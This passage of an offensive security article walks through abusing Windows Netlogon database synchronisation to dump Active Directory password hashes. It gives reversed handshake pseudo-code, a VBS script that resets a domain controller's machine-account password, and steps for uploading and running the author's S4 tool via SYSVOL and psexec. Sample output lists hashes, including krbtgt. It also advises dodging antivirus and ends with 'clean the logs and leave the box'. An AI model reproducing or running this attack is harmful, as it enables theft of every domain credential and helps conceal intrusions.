‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Assuming an attacker could call NetrDatabaseSync2() with DatabaseID=0 from an (emulated) BDC (= a compromised DC), then he would likely be able to retrieve the user database (SAM), which should include hashed passwords as well, right?

I was very suspicious at first because the documentation wasn't mentioning anything about the LSA queries and lsa_QueryInfoPolicy2() is still currently undocumented (afaik). I was afraid that this would complicate things. I could have started to dig inside Samba 4's code (which is quite messy unfortunately) but I had instead a much better idea. What if this API was implemented in some native program available with Windows Server?

Guess the answer.

‑‑‑[ 4 ‑ Digging into the Netlogon replication mechanism

If you're familiar with Windows sysadmin stuff then you must be well aware of the "Remote Server Administration Tools" [07] which provides a set of useful new commands for the CLI, including the one I was looking for: nltest.exe (now native under Windows 2008 FYI).

Here is how Microsoft describes the tool:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ MS official documentation ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑You can use nltest to:

Get a list of domain controllers

Force a remote shutdown

Query the status of trust

Test trust relationships and the state of domain controller replication in a Windows domain

Force a user‑account database to synchronize on Windows NT version 4.0 or earlier domain controllers <‑‑ synchronize + NT4 == JACKPOT?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The last sentence is interesting, right?

Looking at the IAT of nltest.exe (for Windows 2003), I saw that there were entries for I_NetServerReqChallenge(), I_NetServerAuthenticate() and I_NetDatabaseSync(), all of them being imported from NETAPI32.dll and (strangely) undocumented.

A short look at them convinced me that they were mere wrappers for RPC calls to (respectively) NetrServerReqChallenge(), NetrServerAuthenticate() and NetrDatabaseSync() located in netlogon.dll and obviously called using a binding to the named pipe \\%COMPUTERNAME%\IPC$\netlogon. What's cool with these functions is that they _are_ documented in [08] and a tiny modification apart, their prototypes match those of their NETAPI32.dll cousins.

To make things even easier, I observed that all our targeted functions were called inside one big function, arbitrarily called SyncFunction() from now on. Reversing SyncFunction() was a task which proved to be really easy thanks to Microsoft's API documentation.

Assuming DC2 requests a synchronization from its PDC (DC1), this gives the approximate pseudo‑code (I omitted details about the assembly for clarification purposes, but you can find them in the uuencoded C code at the end of the article):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ SyncFunction() ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# Step 1:

# ClientChallenge is an 8 bytes array randomly chosen

RANDOM(ClientChallenge);

# Step 2:

# DC2 sends its challenge and requests one (also an 8 bytes array) # from DC1

ZERO(ServerChallenge);

I_NetReqChallengeFunc(

(WCHAR) L"\\\\" + DC1_FQDN,

(WCHAR) DC2_HOSTNAME,

ClientChallenge,

[OUT] ServerChallenge);

# Step 3:

# The client creates a Unicode object out of its machine account name # (suffix is '$') and hashes it using SystemFunction007() which is an # MD4()

# The resulting hash (NTLM) is an 8 bytes array: MD4_HASH

UnicodeString(ComputerName, "DC2$")

ZERO(MD4_HASH); SystemFunction007((UnicodeString)ComputerName, MD4_HASH);

# Step 4:

# To authenticate itself, the client will need to compute a new # challenge (NewClientChallenge).

# To do so, the client builds a DES key (SessionKey) using the two # challenges and the previously computed hash.

ZERO(SessionKey, 16);

NlMakeSessionKey(

MD4_HASH,

ClientChallenge,

ServerChallenge,

[OUT] SessionKey);

# Step 5:

# The client computes NewClientChallenge using SessionKey.

Encrypt000(

ClientChallenge,

[OUT] NewClientChallenge,

SessionKey);

# Step 6:

# The client sends NewClientChallenge to authenticate itself. # If the answer is the correct one, the server will acknowledge # the identity of the client and gives him back his own challenge # (NewServerChallenge)

ZERO(NewServerChallenge);

I_NetServerAuthenticate(

(WCHAR) L"\\\\" + DC1_FQDN,

L"DC2$", # DC2's machine account name ServerSecureChannel = 6,

(WCHAR) L"DC2", # DC2's hostname NewClientChallenge,

[OUT] NewServerChallenge,

NegotiateFlags);

# Step 7:

# The client needs to know that he can trust the server so the # authentication has to be _mutual_. Imagine if a rogue DC was sending # a false SAM, this would allow an attacker to authenticate himself on # DC2 using spoofed credentials.

#

# To check the identity of the server, NewServerChallenge must have # been calculated using ServerChallenge and SessionKey which is common # to DC1 and DC2.

Encrypt000(

ServerChallenge,

[OUT] ExpectedKey,

SessionKey);

if( NewServerChallenge != ExpectedKey )

{

exit(1);

}

# Step 8:

# For each type of database (DatabaseID), DC2 computes a new challenge # which is stored in Authenticator and retrieves the database object # DeltaArray. After each call, the client checks the authenticity of # the data returned.

for(DatabaseID=0; DatabaseID<3; DatabaseID++)

{

NlBuildAuthenticator(

NewClientChallenge,

SessionKey,

[OUT] Authenticator);

ZERO(ReturnAuthenticator);

I_NetDatabaseSync(

(WCHAR) L"\\\\" + DC1_FQDN,

(WCHAR) DC2_HOSTNAME,

Authenticator,

ReturnAuthenticator,

DatabaseID,

SyncContext=0,

[OUT] DeltaArray,

‑1);

if( NlUpdateSeed(

NewClientChallenge, ReturnAuthenticator, SessionKey) == 0 )

{

exit(1);

}

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

With the additional functions:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ subfunctions ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# This function uses the 14 first bytes of SessionKey to compute # a new challenge out of an old one. Both challenges are 8 bytes # arrays.

#

# new = DES(DES(old))

Encrypt000(

ClientChallenge,

NewChallenge,

SessionKey)

{

BYTE TempOutput[8];

ZERO(NewChallenge);

SystemFunction001(ClientChallenge, SessionKey[0..6], TempOutput); SystemFunction001(TempOutput, SessionKey[7..13], NewChallenge);

# TempOutput = DES(in=ClientChallenge, k=SessionKey[0..6]) # NewChallenge = DES(in=TempOutput, k=SessionKey[7..13])

}

‑‑

# The SessionKey is calculated using a combination of ClientChallenge # and ServerChallenge (to avoid replay attacks I believe).

# Because client & server both know the MD4 value (a shared key between # them), they both can compute safely the SessionKey, but an attacker # without this knowledge will be unable to.

NlMakeSessionKey(

MD4,

ClientChallenge,

ServerChallenge,

SessionKey)

{

BYTE TempOut[8];

ZERO(SessionKey)

SessionKey[0..3] = ClientChallenge[0..3] + ServerChallenge[0..3]; SessionKey[4..7] = ClientChallenge[4..7] + ServerChallenge[4..7];

SystemFunction001(SessionKey[0..7], MD4[0..6], TempOut); SystemFunction001(TempOut, MD4[9..15], SessionKey);

# TempOut = DES(SessionKey[0..7], MD4[0..6])

# SessionKey = DES(TempOut, MD4[9..15])

}

‑‑

# This function builds the Authenticator necessary for each

# *DatabaseSync() call. The authenticator includes a Timestamp which is # used in the computation of the new Challenge.

NlBuildAuthenticator(

NewClientChallenge,

SessionKey,

Authenticator

)

{

FILETIME Time;

ZERO(Authenticator);

GetSystemTimeAsFileTime(Time); RtlTimeToSecondsSince1970(

Time,

Authenticator‑>Timestamp); NewClientChallenge[0..3] += Authenticator‑>Timestamp; Encrypt000(

NewClientChallenge,

Authenticator‑>Credential,

SessionKey);

}

‑‑

# The server is supposed to acknowledge securely the request. # This function checks that the acknowledgment is indeed from # the server and not from some rogue DC.

NlUpdateSeed(

NewClientChallenge,

ReturnAuthenticator,

SessionKey

)

{

BYTE TempOut[8];

NewClientChallenge[0]++;

Encrypt000(

NewClientChallenge,

TempOut,

SessionKey);

if( ReturnAuthenticator‑>Credential == TempOut ) return 1;

return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's put aside the usual Microsoft crypto weirdness of the protocol because this is not the subject of this article. In a nutshell:

‑ The client (BDC) and the server (PDC) both compute a session key using random challenges (to avoid replay attacks) and a 'secret' MD4 key.

‑ Once a trusted bond between them is established, the server sends several objects (of type DeltaArray) which should contain the expected secrets. The trusted bond is called a 'secure channel' in Microsoft's documentation.

‑ To avoid man‑in‑middle attempts, the exchanges are somehow authenticated using the session key (which has another purpose, but that's another story my friends).

Now, if you have been attentive you may have realized that I never mentioned any LSA related functions (remember lsarpc bind?) and that the session key would be really easy to deduce for a passive observer (sniffer) because the shared secret (%BDC_NAME% + "$") is predictable. And indeed, it didn't work when I first tested the code built upon the reverse engineering process. I_NetServerAuthenticate() kicked me out with the classical "Access Denied" message.

So what went wrong? I was almost sure that the lsa_() functions were not necessary because they are not used in nltest.exe. So this led me to think that somehow NewClientChallenge wasn't correct. Assuming the algorithm was well reversed, the session key produced by NlMakeSessionKey() had to be erroneous. Strange? Not quite. Remember that the MD4 key is somehow weird. Even considering Microsoft's past, it was hard to believe that they would base the security of their protocol on such a value. And indeed they aren't that crazy! Using the appropriate hook in LSASS, I found out that this MD4 was in fact the client's computer account hash (NTLM)! A result that I would later find almost everywhere whenever looking for some information on the so‑called 'secure channel'. Sometimes you just have to keep looking...

The problem is that retrieving the BDC's computer account NTLM is (probably) as hard as retrieving the whole SAM itself. So how do we deal with the Ouroboros? The solution is actually quite simple: we may not know the NTLM hash, but we can easily change it! Look at this nice piece of code:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ passwd.vbs ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dim objComputer

Set objComputer = GetObject("WinNT://foo.bar/DC2$")

objComputer.SetPassword "dummy"

Wscript.Quit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Executing the VBS script on the 'BDC' is enough (remember that we own a domain administrator account). The cool thing with this trick is that the BDC will then synchronize its password with the 'PDC' for us. Cool trick right? And this proved to be enough to have I_NetDatabaseSync() successfully returning. In the tool that I wrote, I implemented it using the IADsUser::SetPassword() method.

>>>>>>>>>>>

I was lucky with the nltest.exe analysis because I didn't use the Windows 2008 version. On Windows 2008 server, I_NetDatabaseSync() isn't used so it would have forced me to reverse engineer Samba's C code which is far more difficult believe me :‑P

<<<<<<<<<<<

‑‑‑[ 5 ‑ Extracting the secrets

Now that this part of the job is finished, we only need to know how to parse the DeltaArray objects, something partially documented by Microsoft [09]. nltext.exe doesn't perform this task (it only tests that the synchronization is working and frees the DeltaArray objects that it receives) but obviously samba‑tool does.

‑‑‑‑‑[ 5.1 ‑ Browsing samba‑tool's source code

Everything starts in source4/samba_tool/samba_tool.c:

1. main() calls binary_net(), the main function

2. binary_net() then:

‑ Initializes the Python interpreter using Py_Initialize()

‑ Creates a dictionary out of the "samba.netcmd" module using py_commands() which returns the Python object "commands". This object is created in: source4/scripting/python/samba/netcmd/__init__.py:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

commands = {}

from samba.netcmd.pwsettings import cmd_pwsettings commands["pwsettings"] = cmd_pwsettings() from samba.netcmd.domainlevel import cmd_domainlevel commands["domainlevel"] = cmd_domainlevel() from samba.netcmd.setpassword import cmd_setpassword commands["setpassword"] = cmd_setpassword() from samba.netcmd.newuser import cmd_newuser commands["newuser"] = cmd_newuser()

from samba.netcmd.netacl import cmd_acl [...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3. There are 3 possible situations:

‑ If argv[1] is handled by a Python module then commands[argv[1]] is not void and the corresponding method is called.

‑ Else if argv[1] is in net_functable[] then a C function is handling the command.

‑ Else argv[1] is not a legitimate command => error msg!

In the case of 'samdump', it is implemented in the C language by the net_samdump() function available in source4/samba_tool/vampire.c. This function calls libnet_SamSync_netlogon() (source4/libnet/libnet_samsync.c) which:

‑ Establishes the secure channel

‑ Calls dcerpc_netr_DatabaseSync_r() 3 times (1 per DatabaseID value) ‑ Calls samsync_fix_delta() in (libcli/samsync/decrypt.c) which handles the decryption (if required). Remember this function.

‑‑‑‑‑[ 5.2 ‑ Understanding database changes

I_NetDatabaseSync() returns DeltaArray which is a NETLOGON_DELTA_ENUM_ARRAY object. It's very well documented by Microsoft:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ MS official documentation ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑// http://msdn.microsoft.com/en‑us/library/cc237083%28v=prot.13%29.aspx

typedef struct _NETLOGON_DELTA_ENUM_ARRAY {

DWORD CountReturned;

[size_is(CountReturned)] PNETLOGON_DELTA_ENUM Deltas;

} NETLOGON_DELTA_ENUM_ARRAY,

*PNETLOGON_DELTA_ENUM_ARRAY;

// http://msdn.microsoft.com/en‑us/library/cc237082%28v=prot.13%29.aspx

typedef struct _NETLOGON_DELTA_ENUM {

NETLOGON_DELTA_TYPE DeltaType;

[switch_is(DeltaType)] NETLOGON_DELTA_ID_UNION DeltaID; [switch_is(DeltaType)] NETLOGON_DELTA_UNION DeltaUnion;

} NETLOGON_DELTA_ENUM,

*PNETLOGON_DELTA_ENUM;

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So basically DeltaArray is an array of NETLOGON_DELTA_ENUM objects. Depending on their DeltaType field, the receiver will know how to parse their internal fields (DeltaID and DeltaUnion). According to Microsoft, DeltaType may take the following values:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ MS official documentation ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑// http://msdn.microsoft.com/en‑us/library/cc237100%28v=prot.13%29.aspx

The NETLOGON_DELTA_TYPE enumeration defines an enumerated set of possible database changes.

typedef enum _NETLOGON_DELTA_TYPE

{

AddOrChangeDomain = 1,

AddOrChangeGroup = 2,

DeleteGroup = 3,

RenameGroup = 4,

AddOrChangeUser = 5,

DeleteUser = 6,

RenameUser = 7,

ChangeGroupMembership = 8,

AddOrChangeAlias = 9,

DeleteAlias = 10,

RenameAlias = 11,

ChangeAliasMembership = 12,

AddOrChangeLsaPolicy = 13,

AddOrChangeLsaTDomain = 14,

DeleteLsaTDomain = 15,

AddOrChangeLsaAccount = 16,

DeleteLsaAccount = 17,

AddOrChangeLsaSecret = 18,

DeleteLsaSecret = 20,

DeleteGroupByName = 20,

DeleteUserByName = 21,

SerialNumberSkip = 22

} NETLOGON_DELTA_TYPE;

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When dcerpc_netr_DatabaseSync_r() returns, samsync_fix_delta() is called for each NETLOGON_DELTA_ENUM object. The source code of this function is straightforward (libcli/samsync/decrypt.c):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Samba 4 source code ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑NTSTATUS samsync_fix_delta(TALLOC_CTX *mem_ctx, struct netlogon_creds_CredentialState *creds, enum netr_SamDatabaseID database_id, struct netr_DELTA_ENUM *delta)

{

NTSTATUS status = NT_STATUS_OK;

switch (delta‑>delta_type) {

case NETR_DELTA_USER:

status = fix_user(mem_ctx,

creds,

database_id,

delta);

break;

case NETR_DELTA_SECRET:

status = fix_secret(mem_ctx,

creds,

database_id,

delta);

break;

default:

break;

}

return status;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So to summarize, amongst all the NETLOGON_DELTA_ENUM that I_NetDatabaseSync() provides us, the only important ones are those of type AddOrChangeUser (NETR_DELTA_USER) and AddOrChangeLsaSecret (NETR_DELTA_SECRET).

‑‑‑‑‑[ 5.3 ‑ Retrieving the hashes

Because the subject of this paper is pwdump‑like tools, we will only focus our attention on the AddOrChangeUser type. Here is the code that I used to extract the useful objects:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ S4 source code ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PNETLOGON_DELTA_ENUM Deltas = DeltaArray‑>Deltas;

for(i=0; i<DeltaArray‑>CountReturned; i++)

{

#ifdef __debug__

if(Deltas‑>DeltaType == AddOrChangeLsaSecret)

{

[...]

}

#endif

if(Deltas‑>DeltaType == AddOrChangeUser)

{

PNETLOGON_DELTA_USER DUser;

DUser = (PNETLOGON_DELTA_USER) Deltas‑>DeltaUnion.DeltaUser;

arcfour_crypt_blob(

DUser‑>PrivateData.Data, DUser‑>PrivateData.DataLength,

SessionKey,

16);

[...]

}

[...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The NETLOGON_DELTA_USER object holds information about a particular User of the domain including its Username and (hashed) password. However depending on the value of NtPasswordPresent and LmPasswordPresent, the password may not be available in the EncryptedNtOwfPassword and EncryptedLmOwfPassword fields of the structure. In this case, they are stored instead in the PrivateData.Data buffer which is RC4 encrypted using the SessionKey. Practically speaking, this last case is the only one I've ever witnessed.

The PrivateData.Data buffer holds a copy of the information returned by SamIGetPrivateData() which is a function called by pwdump6. The current (and potentially former) hashed passwords are stored somehow in this buffer and ripping the appropriate functions in the pwdump6 tool grants us the Holy Grail. There is no need to explain what is already common knowledge in the windows hacking world. Have a look at the DealWithDeltaArray() function in my code if you have any questions.

‑‑‑[ 6 ‑ A practical introduction to S4 (Stealth & Secure Secret Stealer)

All this work ultimately resulted in a single tool: S4 (courtesy of the grateful p1ckp0ck3t to the Samba team ;]). I've chosen to release it under the GPL because I certainly disliked the idea of the pigs from MSF including it in their framework. That said, "let the hacking begin".

Context

++++++

We have a CMD shell on some XP/Seven box part of the 'foo.bar' 2003 domain. Somehow we also got our hands on the credentials of a domain administrator: "Administrator / foo123"

Our goal is simple; we now want to extract the passwords from the AD.

Locating the PDC

++++++++++

Retrieving the location of the DC is as easy as performing a DNS request on the domain name (foo.bar). However the problems with this approach are that:

‑ it gives DNS servers as well,

‑ it doesn't allow us to locate the PDC amongst the DCs.

Fortunately, the dsquery tool is providing the information:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C:\Users\Administrator>dsquery server ‑hasfsmo PDC "CN=DC3,CN=Servers,CN=Default‑First‑Site‑Name,CN=Sites,CN=Configuration,DC= foo,DC=bar"

C:\Users\Administrator>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now if for some reason this command isn't available, you can use the ‑D option of S4 which is based on DsGetDomainControllerInfo().

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C:\Users\Administrator>S4.exe ‑D ‑d foo.bar

[> Discovery mode

‑ DC controller 0 is DC3.foo.bar [PDC]

‑ DC controller 1 is DC4.foo.bar

C:\Users\Administrator>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

At this point, we know that DC3 is the PDC and DC4 (the only remaining DC) is de facto a BDC. S4.exe will thus be executed from DC4, targeting DC3.

Uploading S4

+++++++++

To run S4 on DC4, you first have to upload it. \\%DCNAME%\SYSVOL is convenient for this purpose. To drop a file in this directory, you will use the Domain Administrator account:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

c:\S4>hostname

WINXP

C:\S4>net use P: \\DC4\SYSVOL

Enter the user name for 'DC4': administrator

Enter the password for DC4:

The command completed successfully.

C:\S4>copy S4.exe P:\randomname.exe

1 file(s) copied.

C:\S4>net use P: /DELETE

P: was deleted successfully

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Checking the state of the replication

+++++++++++++++++++++

It's always good to have an idea of how healthy the replication is on this Active Directory because we will interfere deeply. I've never tested the technique in an environment prone to replication troubles so I would recommend you to be careful.

First log into the BDC using psexec (or your own tool). Then use repadmin which will most likely be installed on the box (if not even native) as it will give you the details of last operations:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C:\S4>.\Tools\PsTools\psexec.exe \\DC4 ‑u FOO\administrator cmd.exe

PsExec v1.94 ‑ Execute processes remotely

Copyright (C) 2001‑2008 Mark Russinovich

Sysinternals ‑ www.sysinternals.com

Password: ****** <‑‑ foo123

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985‑2003 Microsoft Corp.

C:\WINDOWS\system32>repadmin /showrepl *

repadmin running command /showrepl against server dc3.foo.bar

Default‑First‑Site‑Name\DC3

DC Options: IS_GC

Site Options: (none)

DC object GUID: 265b7dba‑578b‑47f1‑91ca‑78b3019e937d

DC invocationID: 265b7dba‑578b‑47f1‑91ca‑78b3019e937d

==== INBOUND NEIGHBORS ======================================

DC=foo,DC=bar

Default‑First‑Site‑Name\DC4 via RPC

DC object GUID: 5e66dd87‑69a1‑485e‑8e4e‑172def165b06 Last attempt @ 2012‑03‑21 00:32:47 was successful.

[...]

repadmin running command /showrepl against server dc4.foo.bar

Default‑First‑Site‑Name\DC4

DC Options: (none)

Site Options: (none)

DC object GUID: 5e66dd87‑69a1‑485e‑8e4e‑172def165b06

DC invocationID: be4bbd07‑2a84‑4c73‑a00c‑8260999ea3f8

==== INBOUND NEIGHBORS ======================================

DC=foo,DC=bar

Default‑First‑Site‑Name\DC3 via RPC

DC object GUID: 265b7dba‑578b‑47f1‑91ca‑78b3019e937d Last attempt @ 2012‑03‑21 00:46:37 was successful.

[...]

C:\WINDOWS\system32>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This AD is healthy because there is no problem reported. BTW one little advice: avoid using your beloved MSF as a psexec‑like tool because it has a good chance to be detected by an AV.

Running S4 on the BDC

+++++++++++++

At this point, the only remaining thing to do is to run S4.exe!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C:\WINDOWS\system32>\\DC4\SYSVOL\randomname.exe

[!!] 3 arguments are required!

\\Vboxsvr\vmware\S4.exe ‑p PDC_NAME ‑b BDC_NAME ‑d DOMAIN [‑P password]

OR

\\Vboxsvr\vmware\S4.exe ‑D ‑d DOMAIN

C:\WINDOWS\system32>\\DC4\SYSVOL\randomname.exe ‑p DC3 ‑b DC4 ‑d foo.bar Administrator:500:6F6D84B5C1DDCB7AAAD3B435B51404EE: 23DBA86EAA18933844864F24A54EBFBF::: Guest:501:B3CC5A77A68F6477612A53E12DFC183B: B3CC5A77A68F6477612A53E12DFC183B::: krbtgt:502:7396CE194FA9157E5993429157021505: 3803F74802050CE62B047668F303B453::: SUPPORT_388945a0:1001:8FCA67CF5A9FEB7DB06FDACBE2EFDEAB: 5D798B0AB3CCC22FCD7D333D06E2D785::: DC3$:1003:C6DD50758AC2B23B9C63DFB8BC64840C: 820B5403DF3484530F644090C564E342::: DC3$_history_0:1003:C6DD50758AC2B23B9C63DFB8BC64840C: 9CDEE73ADFA23ED3FEC2CC575EF9D0A7::: DC4$:1108:8C6AC94AD2F708E2AAD3B435B51404EE: F77ACB17249932BA36990D85D0F7E01A::: DC4$_history_0:1108:CA1CDCD62E2662912950352F77B2EC2C: 5E54C47654328C3C7B541A81D6319837::: DC4$_history_1:1108:C233128D17B4A8C47838115D84C67E42: F77ACB17249932BA36990D85D0F7E01A:::

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For compatibility purposes, I kept the format used by pwdump‑like tools :] Just a little test to be sure that the results are not fucked. Fire a Python shell and compute the hash of the Administrator:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

>>> import hashlib,binascii

>>> hash = hashlib.new('md4', "foo123".encode('utf‑16le')).digest() >>> print binascii.hexlify(hash).upper() 23DBA86EAA18933844864F24A54EBFBF

>>>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

And that's exactly the NTLM of the Administrator \o/

Fixing the mess

++++++++++

Now be careful with what I'm about to say because it's *very* important. Changing a BDC's machine account password using IADsUser::SetPassword() breaks somehow the secure channel between the BDC and the PDC. Breaking the secure channel means basically breaking the trust between DCs ultimately resulting in a DoS (errors in logs, no more synchronization, ...). Oops :]

This can easily be seen by typing the command:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C:\WINDOWS\system32>nltest /SC_CHANGE_PWD:foo.bar I_NetLogonControl failed: Status = 5 0x5 ERROR_ACCESS_DENIED

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The same command would *not* have failed on DC3 (or on DC4 before changing the password). Fortunately, using the Administrator's credentials, you can use the *very* useful netdom tool [13] to fix this problem:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C:\WINDOWS\system32>netdom RESETPWD /Server:DC3 /UserD:Administrator /PasswordD:*

Type the password associated with the domain user:

The machine account password for the local machine has been successfully reset.

The command completed successfully.

C:\WINDOWS\system32>netdom RESET DC4

The secure channel from DC4 to the domain FOO has been reset. The connection is with the machine \\DC3.FOO.BAR.

The command completed successfully.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Just to prove you that the situation is indeed fixed:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C:\WINDOWS\system32>nltest /SC_CHANGE_PWD:foo.bar

nltest /SC_CHANGE_PWD:foo.bar

Flags: 0

Connection Status = 0 0x0 NERR_Success

The command completed successfully

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We're safe! Clean the logs and leave the box :]

‑‑‑[ 7 ‑ S4 .VS. Windows 2008 Domain Controllers

While the technique implemented in S4 is very effective if the PDC is a Windows 2003 server, it totally fails if it's a Windows 2008 (or higher) server and this unfortunately holds even if the Domain's functional level is "Windows Server 2003".

The first problem that I encountered was that while I was still able to have the new machine account's NTLM propagated, the establishment of the secure channel always failed, an "access denied" being returned by NetrServerAuthenticate2(). Because I suspected some evolution in the protocol, I began to look for information on Netlogon, only to discover that Microsoft had already published its specification [10]. My bad! If I had been more careful I would have saved time as there was no real need to reverse nltest.exe :] Reading the specifications, I discovered something really interesting that I had failed to notice through the reversing process; there are different algorithms to compute the session key.

Long story short, when a client initiates a connection to the server, it first provides its capabilities using the NegotiateFlags parameter of NetrServerAuthenticate(). In return, the server will set this parameter to provide his own capabilities. This is the way that they both agree on the algorithm used to compute the session key.

There are basically three types of session keys (see section 3.1.4.3 of [10]):

1/ AES (strong)

2/ 'Strong‑Key' which is HMAC‑MD5 based (weaker)

3/ DES (weak)

The third one is implemented in S4's NlMakeSessionKey() and is also the oldest. For compatibility purposes, Windows 2003 is still accepting this weak way of computing keys. This explains why the authentication process was OK. Starting with Windows 2008, security has been enhanced and the minimum required by default is now Strong‑Key; I implemented it and the authentication is now compatible with Windows 2008 :]

<Note>

